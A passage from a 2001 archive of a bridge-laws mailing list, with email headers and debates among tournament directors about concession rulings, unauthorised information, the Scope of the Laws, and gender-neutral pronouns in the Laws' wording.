to provide redress, > > and secondarily to penalise. > > Let it be recorded that on this eleventh day of January in the Year of > Our Lord 2001, I have found a statement by David Stevenson with which I > am in wholehearted agreement. Let us hope that this will usher in a new > era of peace and tranquillity for all. > > In fact, I wouldn't bother to put anything in the "Scope of the Laws" at > all. The Laws are there to tell people how to play a game, not to > express noble but specious sentiment. It does not matter why the Laws > say what they say, it matters only what they say. > The Scope's words about punishment and redress seem aimed at assuring players that seemingly harsh Laws were not written with punishment as the main concern, even though it may look that way to them. Perhaps the sentence could be reworded, but telling players that they should accept a penalty or adjusted score graciously, and explaining why, seems worthwhile. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 05:01:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BHxdV08125 for bridge-laws-outgoing; Fri, 12 Jan 2001 04:59:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iae.nl (postfix@mail.iae.nl [194.151.64.19]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BHxXt08121 for ; Fri, 12 Jan 2001 04:59:34 +1100 (EST) Received: from default (pm17d173.iae.nl [212.61.3.173]) by mail.iae.nl (Postfix) with SMTP id 2DDF120F39 for ; Thu, 11 Jan 2001 18:57:58 +0100 (CET) Message-ID: <006101c07bf8$00881cc0$ad033dd4@default> From: "Ben Schelen" To: "bridge-laws" References: <000d01c07bbb$86b3b940$7204ff3e@vnmvhhid> Subject: Re: [BLML] The same but different. Date: Thu, 11 Jan 2001 18:56:14 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I do hope that everyone has the same version of the Laws. L73C tells that a player carefully must avoid, L16 tells a player what to do and after he has summoned the TD tells the TD what to do. My reaction is brief as well. Ben ----- Original Message ----- From: "David Stevenson" To: Sent: Thursday, January 11, 2001 12:33 PM Subject: Re: [BLML] The same but different. > Anne Jones writes > >I remember well the exam questions from my school days - Compare and > >Contrast--- > >Please > >Compare and Contrast Law 16A and Law 73C > > Easy peasy: L73C tells players what to do, L16A tells TDs what to do. > > > -- > David Stevenson Liverpool, England, UK > > For help in rulings see the International Bridge Laws Forum > at http://blakjak.com/iblf.htm > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 05:04:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BI2RW08142 for bridge-laws-outgoing; Fri, 12 Jan 2001 05:02:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hawk.prod.itd.earthlink.net (hawk.prod.itd.earthlink.net [207.217.120.22]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BI2Lt08138 for ; Fri, 12 Jan 2001 05:02:22 +1100 (EST) Received: from ivillage (sdn-ar-001kslawrP289.dialsprint.net [158.252.182.27]) by hawk.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id KAA03344 for ; Thu, 11 Jan 2001 10:01:58 -0800 (PST) Message-ID: <200101111204180800.003FF861@mail.earthlink.net> In-Reply-To: <000b01c07ba8$f2c51ba0$842501d5@dodona> References: <000b01c07ba8$f2c51ba0$842501d5@dodona> X-Mailer: Calypso Version 3.10.03.02 (3) Date: Thu, 11 Jan 2001 12:04:18 -0600 From: "Brian Baresch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] What is suggested ? Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >> > > > Kaplan stated that *if* the AC deemed that the doubler >> > > > had deliberately hesitated to prevent partner pulling, >> > > > then a mere score adjustment was not appropriate, >> > > > but rather a disciplinary penalty. >> > > >> > +=+ If this is what had happened there were too >> > distinct offences: (a) the deliberate hesitation, >> > and (b) using the UI conveyed. Each has its >> > separate treatment by the Director. >> >> Usually only one offence - but that extremely serious. >> (b) involves an ethical player avoiding taking advantage >> of the UI (in the typical slow double to prevent a pull >> situation). >> >+=+ The first player has committed a violation >of Law 73B1. The second player has violated >Laws 16 and 73C. There are two distinct violations. I don't understand. One's partner makes a slow penalty double, and the available UI suggests bidding, but passing is an LA so the player passes. (Said player does not realize partner's nefarious intent.) How has passer violated any Laws? Brian Baresch, baresch@earthlink.net Lawrence, Kansas, USA Editing, writing, proofreading I always wanted to be someone -- I guess I should have been more specific. --Lily Tomlin -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 05:27:55 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BIPRM08184 for bridge-laws-outgoing; Fri, 12 Jan 2001 05:25:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BIPIt08176 for ; Fri, 12 Jan 2001 05:25:19 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14GmPJ-000LEI-0U for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 18:25:06 +0000 Message-ID: Date: Thu, 11 Jan 2001 17:52:55 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Concession References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article , David Stevenson writes >richard.hills@immi.gov.au writes >>David Stevenson wrote: >> >>[snip] >> >>>Partner now leads a card, and without looking at it you >>>say "Two off, we just get our trump tricks." >>> >>> >>>and the position at this moment is: >>> >>> T >>> -- >>> 63 >>> 984 >>> KJ -- >>> KJ N 6 >>> -- W E T54 >>> Q6 S JT5 >>> Q8762 >>> Q >>> -- >>> -- >>> >>>The card partner has led is, in fact, the DT, and the >>>play will go [fairly obviously] ruff, over-ruff, SK, HK, >>>three off. >>> >>>Should the defence get three off? > If Armstrong had conceded 2-off that's fair enough, L71C applies; I'd give him 3 because he'd work out what to do. ... but in your case, I'd have to take it away and think about it. It's not always clear what you consider to be normal. :)))) >>Obviously, West's concession showed that they were being >>*careless or inferior*. But is it *irrational* for the >>contract to be only two off? >> >>Perhaps West's concession was based on a routine cow flying >>by, miscounting South to hold nothing but trumps left. >>Acting on that assumption, West would be indifferent as to >>*when* they took their two trump tricks, so as TD and AC I >>would rule only two down. > I think this is contrary to L71C. -- John (MadDog) Probst|I just got 0.70 ACBL |phone & fax :20 8980 4947 451 Mile End Road |playing with my wife |icq 10810798 OKb ChienFou London E3 4PA |How come you only got|john@probst.demon.co.uk +44-(0)20 8983 5818 |0.49 with Didi?????? |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 05:27:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BIPQS08183 for bridge-laws-outgoing; Fri, 12 Jan 2001 05:25:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BIPIt08175 for ; Fri, 12 Jan 2001 05:25:18 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14GmPJ-000LEJ-0U for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 18:25:06 +0000 Message-ID: <0T1ZtiBzZfX6Ew+r@probst.demon.co.uk> Date: Thu, 11 Jan 2001 18:07:47 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] horror ! (new) References: <67378DEA146DD21194C20000F87B08BA01B8B768@fdwag002s.fd.agro.nl> <5.0.2.1.0.20010110200946.00a12860@mail.rz.uni-duesseldorf.de> In-Reply-To: <5.0.2.1.0.20010110200946.00a12860@mail.rz.uni-duesseldorf.de> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <5.0.2.1.0.20010110200946.00a12860@mail.rz.uni- duesseldorf.de>, Richard Bley writes > >> > Dear blmlists, >> > >> > While fumbling for a Law that could apply to another of our threads, I >> > found an incredible error in the wording of the law. >> > >> > Unfortunately, I own only the French version, so the >> > translation is mine. >> > Perhaps the error doen't lie in the original, English version. >> > >> > L73B2 : occult cmmunication : The worse infraction is for a pair to >> > exchange information using occult communication means other than those >> > permitted by the Laws. > >Maybe we shall call this the "Harry Potter"-Rule ;-))) > > >Cheers >Richard > Does this mean that partner, when sprouting horns (which precedes an inevitable frank, free and fearless discussion) is guilty of the gravest possible offence? Wahey! I've got a new game to play with the Frogs down at the YC :))) -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 05:54:40 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BImID08249 for bridge-laws-outgoing; Fri, 12 Jan 2001 05:48:18 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iol.ie (mail1.mail.iol.ie [194.125.2.192]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BIm8t08244 for ; Fri, 12 Jan 2001 05:48:09 +1100 (EST) Received: from oemcomputer (dialup-014.sligo.iol.ie [194.125.48.206]) by mail.iol.ie Sendmail (v8.9.3) with SMTP id SAA35425 for ; Thu, 11 Jan 2001 18:47:51 GMT Received: by localhost with Microsoft MAPI; Thu, 11 Jan 2001 18:48:58 -0000 Message-ID: <01C07BFF.284596A0.tsvecfob@iol.ie> From: "Fearghal O'Boyle" To: "'bridge-laws@octavia.anu.edu.au'" Subject: RE: [BLML] Concession Date: Thu, 11 Jan 2001 18:48:08 -0000 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Original message from DWS: T954 4 W N E S AQ63 2NT#1 2S#2 K984 P 4S P P KJ3 Dbl AP AKJT8 N J7 W E #1 5/5 in minors, weak Q63 S #2 Corrected to 3S You lead the HA, 9 from partner, agreed Lavinthal position. DJ, A, 8, 2. Partner's high diamond shows an odd number. Declarer plays a spade to the ace, partner discarding, then ruffs a heart, DQ. Partner wins and plays a heart, ruffed in dummy. Declarer then plays the CK, won by partner's ace. Partner now leads a card, and without looking at it you say "Two off, we just get our trump tricks." The original hand was: T954 4 AQ63 K984 KJ3 -- AKJT8 N 962 J7 W E KT854 Q63 S AJT52 AQ8762 Q753 92 7 and the position at this moment is: T -- 63 984 KJ -- KJ N 6 -- W E T54 Q6 S JT5 Q8762 Q -- -- The card partner has led is, in fact, the DT, and the play will go [fairly obviously] ruff, over-ruff, SK, HK, three off. Should the defence get three off? Law 71C: 'the Director shall cancel a concession if a player has conceded a trick that could not have been lost by any normal play of the remaining cards,...' After the 10D return, normal play leads to 3 off. Best regards, Fearghal -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 07:00:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BJp6h08390 for bridge-laws-outgoing; Fri, 12 Jan 2001 06:51:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BJp0t08386 for ; Fri, 12 Jan 2001 06:51:01 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 11 Jan 2001 11:47:51 -0800 Message-ID: <01ae01c07c07$c75f49e0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101092349030800.0321272A@mail.earthlink.net> <004901c07b2b$2a675880$56991e18@san.rr.com> Subject: Re: [BLML] Bad Language Date: Thu, 11 Jan 2001 11:42:24 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Get the delete key ready, David Burn and Craig Senior! David Stevenson wrote: > Marvin L. French writes > >In reply to: > > > >> >However, since that time, a consensus has developed > >> >amongst non-discriminatory grammarians on what the > >> >gender-neutral generic third person singular words should > >> >be. > > > >Brian Baresch wrote: > >> > >> I wouldn't go that far. I favor the generic "they", myself, and I'm glad > >> it's gaining ground, but it's still some ways from a consensus. > > > >In some usages there is a consensus. One is the use of "they" when an > >individual's sex is unknown to the speaker: > > > >"I got a strange telephone call last night." "What did they say?" > > What do you mean by a consensus? If someone said this to me I would > assume the telephone call was from more than one person. I do not know > of anyone who would say this to mean one person. To me it is Standard American. "What did he or she say"? Ugh! > > >"Whoever broke that vase is going to find themselves in serious trouble." > > > >Another with fairly wide acceptance, especially among women, is the use of > >"they" when one doesn't wish to call attention to a person's sex: > > > >"I had a friend over for dinner last night, and they didn't leave until one in > >the morning." > > Similarly, this just sounds wrong, and I know of no-one who uses this > approach. Perhaps an Americanism, I hear it all the time. It is a useful device when one does not wish to draw attention to the sex of the person involved, or when the sex is unknown. The quote was not a fiction, but the words of an American English teacher who says things like "It is I," causing people to suppose that she was born elsewhere and learned English in school. The listener will assume the guest was male and, noting the neutering "they," will understand that his maleness played no role in the evening, > I have heard, on the other hand, some strange usages. Perhaps it is > fair to say I know people use their in this way, but not they. > > Personally, I think it sounds horrible, and is a sad reflection on a > language where the best solution to a gender problem is considered to be > to treat one person as two. We went from "thee" and "thou" to "you" and "your" for second person singular with no good reason. This usage of "they" has the virtue of filling a need. No doubt you oppose the editorial "we" also? I agree with that! We have to recognize that England and the U. S. are too far apart, geographically and culturally, to expect them to have a completely common language. It offends my ear/eye to hear/read the English "one" used for "I," as in "One enjoyed one's trip to the continent last year," but I suppose the British Davids find it perfectly acceptable. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 07:47:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BKfck25723 for bridge-laws-outgoing; Fri, 12 Jan 2001 07:41:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BKfWt25687 for ; Fri, 12 Jan 2001 07:41:33 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Thu, 11 Jan 2001 12:38:23 -0800 Message-ID: <01b901c07c0e$d6ae2fe0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Cc: References: <200101111730.JAA20348@mailhub.irvine.com> Subject: Re: [BLML] Bad Language Date: Thu, 11 Jan 2001 12:39:51 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam Beneschan wrote: > > Marvin French wrote: > > > Adam Beneschan wrote: > > > > Some thoughts: > > > > > > (1) Since bridge is a partnership game, there are many occasions where > > > the Laws refer to both members of a partnership, which naturally > > > requires use of the third person plural. To use the plural also > > > to refer to a single player would undoubtedly make the Laws more > > > confusing. > > > > Please cite some of these Laws, so we can see what you mean. > > Well, I didn't actually look at the Laws; I just wrote under the > reasonable assumption that problems would be very likely. So when I > saw your response, I brought up my Laws file, went to the beginning > Law 1, and did a forward search for the word "he". Here's the very > first thing I found: > > LAW 3 - ARRANGEMENT OF TABLES > Four players play at each table, and tables are numbered in a sequence > established by the Director. He designates one direction as North; > other compass directions assume the normal relationship to North. > > Now see what would happen if "he" were changed to "they". > I hope I haven't suggested that every "he" be globally changed to "they." Such sentences, in which "they" could be confusing, can always be recast as in the following (dropping words about relative compass directions that belong in Law 2, and paying attention to the title of Law 3): LAW 3 - ARRANGEMENT OF TABLES The Director gives each table a number and designates one of its four player positions as North. Done in haste, but you get the idea. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 08:01:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BKs4s00152 for bridge-laws-outgoing; Fri, 12 Jan 2001 07:54:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BKrvt00110 for ; Fri, 12 Jan 2001 07:53:58 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 11 Jan 2001 12:50:49 -0800 Message-ID: <01c901c07c10$92f7acc0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <01C07BFF.284596A0.tsvecfob@iol.ie> Subject: Re: [BLML] Concession Date: Thu, 11 Jan 2001 12:52:23 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Fearghal wrote: > and the position at this moment is: > > T > -- > 63 > 984 > KJ -- > KJ N 6 > -- W E T54 > Q6 S JT5 > Q8762 > Q > -- > -- > > The card partner has led is, in fact, the DT, and the play will go > [fairly obviously] ruff, over-ruff, SK, HK, three off. > > Should the defence get three off? > Law 71C: 'the Director shall cancel a concession if a player has conceded > a trick that could not have been lost by any normal play of the remaining > cards,...' > > After the 10D return, normal play leads to 3 off. > Meaning *any* normal play, I presume. Right, as not cashing the spade king would be extremely abnormal for any level of player. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 08:19:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BLGxW06568 for bridge-laws-outgoing; Fri, 12 Jan 2001 08:16:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BLGpt06558 for ; Fri, 12 Jan 2001 08:16:52 +1100 (EST) Received: from user-2ive4ar.dialup.mindspring.com (user-2ive4ar.dialup.mindspring.com [165.247.17.91]) by hall.mail.mindspring.net (8.9.3/8.8.5) with SMTP id QAA25698 for ; Thu, 11 Jan 2001 16:16:40 -0500 (EST) Received: by user-2ive4ar.dialup.mindspring.com with Microsoft Mail id <01C07BE9.F8DE79A0@user-2ive4ar.dialup.mindspring.com>; Thu, 11 Jan 2001 16:17:19 -0500 Message-ID: <01C07BE9.F8DE79A0@user-2ive4ar.dialup.mindspring.com> From: Craig Senior To: "bridge-laws@rgb.anu.edu.au" Subject: RE: [BLML] Bad Language Date: Thu, 11 Jan 2001 15:44:12 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Far from deleting your posts, I find them interesting Marv. That we happen to disagree on this makes you no less a friend. But I will take issue with a few of your examples, if I may. MLF wrote: Get the delete key ready, David Burn and Craig Senior! (MLF)> >In some usages there is a consensus. One is the use of "they" when an > >individual's sex is unknown to the speaker: > > > >"I got a strange telephone call last night." "What did they say?" > (Brian B)> What do you mean by a consensus? If someone said this to me I would > assume the telephone call was from more than one person. I do not know > of anyone who would say this to mean one person. To me it is Standard American. "What did he or she say"? Ugh! No Marv. They would be 2/1! Enforcingly plural. (MLF)> >Another with fairly wide acceptance, especially among women, is the use of > >"they" when one doesn't wish to call attention to a person's sex: > > > >"I had a friend over for dinner last night, and they didn't leave until one in > >the morning." > (BB)> Similarly, this just sounds wrong, and I know of no-one who uses this > approach. Perhaps an Americanism, I hear it all the time. It is a useful device when one does not wish to draw attention to the sex of the person involved, or when the sex is unknown. The quote was not a fiction, but the words of an American English teacher who says things like "It is I," causing people to suppose that she was born elsewhere and learned English in school. The listener will assume the guest was male and, noting the neutering "they," will understand that his maleness played no role in the evening, I would assume that more than one guest was there by the time "they" left. It is easy to mask the sex of the guest by saying "I had a guest for dinner who didn't leave until 1 a.m." if for some reason of delicacy that might be deemed necessary. Actually, if the speaker were a lady, she could just say he without reproach, since her morals would be well known to the hearer and uncompromised. Were she not all she might be, she well may not care what the listener thinks. So it is only the hypocritical woman of false repute who would be looking to evade. :-)) > I have heard, on the other hand, some strange usages. Perhaps it is > fair to say I know people use their in this way, but not they. > > Personally, I think it sounds horrible, and is a sad reflection on a > language where the best solution to a gender problem is considered to be > to treat one person as two. We went from "thee" and "thou" to "you" and "your" for second person singular with no good reason. See Marv...here's a point on which we agree. We have lost expression in the language by not retaining at least a familiar thou as the French do with "tu". You know doubt know the story of the Quaker lady who was incensed with her sister who had abandoned the religious precepts of the Society of Friends. She, with great irritation, addressed the fallen-away lass with a contemptuous "Thou little you, thou!" There is certainly a difference between "I love you" and "I love only you". We do not need to add the only to "Te amo." This usage of "they" has the virtue of filling a need. You can use cement to fill a tooth. But it is [painful and does not really do the job. No doubt you oppose the editorial "we" also? I agree with that! Though it is appropriate when the editorial is the opinion of an editorial board as is so often the case. We have to recognize that England and the U. S. are too far apart, geographically and culturally, to expect them to have a completely common language. It offends my ear/eye to hear/read the English "one" used for "I," as in "One enjoyed one's trip to the continent last year," but I suppose the British Davids find it perfectly acceptable. It sounds effete even to an easterner :-) Rather impersonal, what? But offensive? No. We enjoyed our trip (when oen traveled alone) is more what you are proposing for the third person construction...and that sounds devilishly like the editorial or collective we. Marv San Diego, CA, USA Who despite our quibbles over language is a fine fellow and much beloved. Craig Harrisburg, PA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 08:19:33 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BLH2o06569 for bridge-laws-outgoing; Fri, 12 Jan 2001 08:17:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BLGst06561 for ; Fri, 12 Jan 2001 08:16:55 +1100 (EST) Received: from user-2ive4ar.dialup.mindspring.com (user-2ive4ar.dialup.mindspring.com [165.247.17.91]) by hall.mail.mindspring.net (8.9.3/8.8.5) with SMTP id QAA28328 for ; Thu, 11 Jan 2001 16:16:50 -0500 (EST) Received: by user-2ive4ar.dialup.mindspring.com with Microsoft Mail id <01C07BE9.FF9DC520@user-2ive4ar.dialup.mindspring.com>; Thu, 11 Jan 2001 16:17:31 -0500 Message-ID: <01C07BE9.FF9DC520@user-2ive4ar.dialup.mindspring.com> From: Craig Senior To: "bridge-laws@rgb.anu.edu.au" Subject: RE: [BLML] Equity or simplicity? Date: Thu, 11 Jan 2001 16:15:45 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk The long slippery slope that the bridge laws have >plunged down in dealing with UI and MI is an abysmal failure. (DWS) Now I totally disagree. The Laws are working quite well in these cases. Furthermore, the average club Director hardly ever has to deal with them so complexity does not matter so much. I agree with neither of you fully. The reason that UI/MI does not come up at the club level much is that most players do not know they can or should seek redress and most club directors don't have any idea how to handle it anyhow. Present precedures are cumbersome and difficult to understand for the average club player or director. That is not my definition of "working quite well". We need both education and simplification to the extent reasonably possible. Ignorance of the laws is not an excuse for making no effort to enforce them, and allowing the perpetuation of such ignorance as a justificiation for not improving widely undercomprehended laws if not really acceptable. Craig Senior -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 08:19:33 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BLGtq06562 for bridge-laws-outgoing; Fri, 12 Jan 2001 08:16:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BLGmt06552 for ; Fri, 12 Jan 2001 08:16:48 +1100 (EST) Received: from user-2ive4ar.dialup.mindspring.com (user-2ive4ar.dialup.mindspring.com [165.247.17.91]) by hall.mail.mindspring.net (8.9.3/8.8.5) with SMTP id QAA28856 for ; Thu, 11 Jan 2001 16:16:35 -0500 (EST) Received: by user-2ive4ar.dialup.mindspring.com with Microsoft Mail id <01C07BE9.F62FD460@user-2ive4ar.dialup.mindspring.com>; Thu, 11 Jan 2001 16:17:15 -0500 Message-ID: <01C07BE9.F62FD460@user-2ive4ar.dialup.mindspring.com> From: Craig Senior To: "bridge-laws@rgb.anu.edu.au" Subject: RE: [BLML] Bad Language Date: Thu, 11 Jan 2001 15:11:02 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Clarity is achieved in the matter of pronouns perfectly easily: use he or his for one person, they or their for more than one. But many people have other agendas, and clarity comes behind such things as invented sexism. -- David Stevenson Liverpool, England, UK Hear Hear!! Unlike some other fine minds, David has clearly noted the dishabile of the Emperor. I have not been in more thorough agreement since we noted the true start of the millenium. As I remarked last night to our choir director as we unbowdlerized an anti-sexist lyric atrocity, there is no reason for women to seek equality with men anyway. As they are well aware, they are already superior: they live longer, control most of the wealth, are the ones most pursued and desired by men, and can do virtually anything a man can do plus bring all human life into the world. Most men revere women...if you disagree, insult the lowest bounder's mother at your peril. 